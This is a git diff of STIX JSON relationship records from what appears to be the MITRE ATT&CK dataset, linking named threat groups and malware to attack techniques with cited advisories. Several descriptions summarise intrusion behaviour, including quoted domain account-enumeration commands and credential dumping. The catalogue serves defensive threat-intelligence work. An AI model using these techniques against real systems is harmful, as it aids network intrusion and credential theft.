             "id": "relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL stores output from command execution in a .dat file in the %TEMP% directory.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e.json b/enterprise-attack/relationship/relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e.json
index eb63383765..0e810e7a68 100644
--- a/enterprise-attack/relationship/relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e.json
+++ b/enterprise-attack/relationship/relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b6278993-4d91-4393-8917-561747e7d0b6",
+    "id": "bundle--2c3e5f71-3001-447a-ae89-eda0c9451da0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon identifies files matching certain file extension and copies them to subdirectories it created.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7.json b/enterprise-attack/relationship/relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7.json
index 9c2b0cb23a..8daa22c06c 100644
--- a/enterprise-attack/relationship/relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7.json
+++ b/enterprise-attack/relationship/relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93ebf50d-b980-42c9-9ded-3b75ef943197",
+    "id": "bundle--f85ca78a-11cc-4ce7-9eb9-c328c6813072",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder exfiltrates data collected from the victim mobile device.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6.json b/enterprise-attack/relationship/relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6.json
new file mode 100644
index 0000000000..6fe1f85840
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--8cae5975-9c73-43ac-9b89-eea916002e8f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8.json b/enterprise-attack/relationship/relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8.json
index 9e806284de..153293575e 100644
--- a/enterprise-attack/relationship/relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8.json
+++ b/enterprise-attack/relationship/relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d0ae480d-1253-4770-bb47-8cc12abbb20c",
+    "id": "bundle--dc868533-1df5-44f7-baff-2e7f71a33824",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used Kerberos ticket attacks for lateral movement.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--5e2e672a-02d4-4510-a629-942d44a558f1.json b/enterprise-attack/relationship/relationship--5e2e672a-02d4-4510-a629-942d44a558f1.json
index c1401627b4..5891aa44c9 100644
--- a/enterprise-attack/relationship/relationship--5e2e672a-02d4-4510-a629-942d44a558f1.json
+++ b/enterprise-attack/relationship/relationship--5e2e672a-02d4-4510-a629-942d44a558f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--95091260-dbed-4123-bc42-ab84f9625dd8",
+    "id": "bundle--0a6d40f5-6c45-4482-b84a-e3c925511c8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5e2e672a-02d4-4510-a629-942d44a558f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky contains a keylogger.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--5e4ec089-c86d-4684-9783-af348d4aaa14.json b/enterprise-attack/relationship/relationship--5e4ec089-c86d-4684-9783-af348d4aaa14.json
new file mode 100644
index 0000000000..8c1bfa9263
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5e4ec089-c86d-4684-9783-af348d4aaa14.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--65b35755-75d5-4ec8-9ed4-417d9f61af75",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5e4ec089-c86d-4684-9783-af348d4aaa14",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used remote access services, including VPN and Outlook Web Access (OWA).",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92.json b/enterprise-attack/relationship/relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92.json
index d1bc3b9723..0bd939186a 100644
--- a/enterprise-attack/relationship/relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92.json
+++ b/enterprise-attack/relationship/relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--54b19f51-7147-4e26-92d3-1bc3aa5a55bb",
+    "id": "bundle--49783688-3607-40a8-96a5-02c8191a7aaa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat network traffic communicates over a raw socket.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b.json b/enterprise-attack/relationship/relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b.json
index b87081dc07..57855316ac 100644
--- a/enterprise-attack/relationship/relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b.json
+++ b/enterprise-attack/relationship/relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f49f26aa-abf3-4c15-bd46-d0758075f711",
+    "id": "bundle--fa063938-a279-4e12-afa4-74aa15eef5bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If Shamoon cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89.json b/enterprise-attack/relationship/relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89.json
index 327ebd3f08..0aa38b6285 100644
--- a/enterprise-attack/relationship/relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89.json
+++ b/enterprise-attack/relationship/relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a395b01-1336-49dd-86e5-532c6d03a8f9",
+    "id": "bundle--7fc8c6da-730f-431a-925b-d45c11801752",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Taidoor can perform DLL loading.",
             "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
diff --git a/enterprise-attack/relationship/relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161.json b/enterprise-attack/relationship/relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161.json
index 3a524c3de8..e6601685cd 100644
--- a/enterprise-attack/relationship/relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161.json
+++ b/enterprise-attack/relationship/relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5e2f1f7-7609-4e29-b7a2-405eff325d17",
+    "id": "bundle--afde350b-625a-4085-8f32-f9ee2c07e6ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1.json b/enterprise-attack/relationship/relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1.json
index 59061eed3a..bea8667b7d 100644
--- a/enterprise-attack/relationship/relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1.json
+++ b/enterprise-attack/relationship/relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b086d305-0c47-40f2-ad54-456894265b29",
+    "id": "bundle--bc0c10da-c4fe-4da4-be7d-c804898bb004",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has deleted files from the system via the NSFileManager:removeFileAtPath method .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c.json b/enterprise-attack/relationship/relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c.json
index c3b21063b8..88a7073c67 100644
--- a/enterprise-attack/relationship/relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c.json
+++ b/enterprise-attack/relationship/relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2d5937e6-1d07-4650-bd21-b6415c8ce7b8",
+    "id": "bundle--9c76a84d-92fc-4e28-a68a-fc5fd416a208",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f.json b/enterprise-attack/relationship/relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f.json
index 705ef40f83..bbd5927aa9 100644
--- a/enterprise-attack/relationship/relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f.json
+++ b/enterprise-attack/relationship/relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--894b13d6-6386-46aa-91a5-c78cd62c73d6",
+    "id": "bundle--8e4aa912-d8b5-4dd3-bdac-1d2dfde8a880",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of CloudDuke uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.",
             "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
diff --git a/enterprise-attack/relationship/relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0.json b/enterprise-attack/relationship/relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0.json
index bf8d9a6949..38cb3aab0d 100644
--- a/enterprise-attack/relationship/relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0.json
+++ b/enterprise-attack/relationship/relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d91bafac-24cd-49b0-8f1c-fc3585866a23",
+    "id": "bundle--bd5d807e-8fbf-4a94-b2ba-0c5bca294b26",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has commands to get the current user's name and SID.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260.json b/enterprise-attack/relationship/relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260.json
index 7e28d2ac44..166b45e3a4 100644
--- a/enterprise-attack/relationship/relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260.json
+++ b/enterprise-attack/relationship/relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b47d46b6-e585-4fc4-9d97-c31bcf195d61",
+    "id": "bundle--dc10c672-8184-4497-9b98-558dc977c7c0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used PowerShell-based tools and shellcode loaders for execution.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--5f055076-79d1-44e8-95cb-43fc515df2f6.json b/enterprise-attack/relationship/relationship--5f055076-79d1-44e8-95cb-43fc515df2f6.json
index 88ad395cec..feedcae324 100644
--- a/enterprise-attack/relationship/relationship--5f055076-79d1-44e8-95cb-43fc515df2f6.json
+++ b/enterprise-attack/relationship/relationship--5f055076-79d1-44e8-95cb-43fc515df2f6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2941e079-5919-4a2a-bdbd-f4be39fd1aa3",
+    "id": "bundle--b6427325-2bce-4c8d-99da-f548a5f6a112",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5f055076-79d1-44e8-95cb-43fc515df2f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139.json b/enterprise-attack/relationship/relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139.json
new file mode 100644
index 0000000000..e9d679fb9b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dc7cfd61-be94-4b60-b5f5-ef6d562d8a2f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "extracted Word documents from a file server on a victim network.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5f5af879-c239-416b-99ec-b46e2f9926a2.json b/enterprise-attack/relationship/relationship--5f5af879-c239-416b-99ec-b46e2f9926a2.json
new file mode 100644
index 0000000000..a2b0116b1f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5f5af879-c239-416b-99ec-b46e2f9926a2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dcbb0910-4fdd-4a1a-8366-aef27c0911ef",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5f5af879-c239-416b-99ec-b46e2f9926a2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>net user</code>, <code>net user /domain</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to get account listings on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5f95e123-9f44-47a0-affc-aaae6929d269.json b/enterprise-attack/relationship/relationship--5f95e123-9f44-47a0-affc-aaae6929d269.json
new file mode 100644
index 0000000000..16e4762cd4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5f95e123-9f44-47a0-affc-aaae6929d269.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d05158a1-8a6e-4c08-8c46-b1a36d160a5f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5f95e123-9f44-47a0-affc-aaae6929d269",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has dumped credentials from victims in several ways, including by using open source tools Mimikatz and Lazagne, or by harvesting credentials when users log into Outlook Web Access.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8.json b/enterprise-attack/relationship/relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8.json
index 84bff7438e..edd99e1ea4 100644
--- a/enterprise-attack/relationship/relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8.json
+++ b/enterprise-attack/relationship/relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f4c0a6b-7ee2-4f22-818c-cfe5d59f96ca",
+    "id": "bundle--4dabc1b4-4f2a-44a3-a70b-a69b4652dfe6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net start</code> and <code>net stop</code> commands can be used in Net to execute or stop Windows services.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751.json b/enterprise-attack/relationship/relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751.json
index 178a08fee9..5890dddad4 100644
--- a/enterprise-attack/relationship/relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751.json
+++ b/enterprise-attack/relationship/relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aacc838f-713b-439f-aee6-5adcf6517ec8",
+    "id": "bundle--60c4d255-6b2f-4322-9272-db8e9d451404",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Derusbi malware supports timestomping.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68.json b/enterprise-attack/relationship/relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68.json
new file mode 100644
index 0000000000..76b519fd09
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3b446c24-2304-4636-9625-fbbe12d3a080",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "queries the registry to look for information about Terminal Services .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
